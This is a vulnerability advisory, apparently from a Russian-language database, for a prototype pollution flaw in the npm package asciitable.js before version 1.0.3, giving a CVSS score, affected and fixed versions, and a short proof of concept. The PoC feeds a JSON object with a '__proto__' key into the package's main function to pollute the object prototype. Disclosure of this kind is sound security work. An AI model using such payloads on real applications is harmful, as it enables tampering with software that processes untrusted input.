Описание
Prototype Pollution in asciitable.js
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
Пакеты
Наименование
asciitable.js
npm
Затронутые версииВерсия исправления
< 1.0.3
1.0.3
Связанные уязвимости
CVSS3: 7.5
nvd
около 5 лет назад
The package asciitable.js before 1.0.3 are vulnerable to Prototype Pollution via the main function.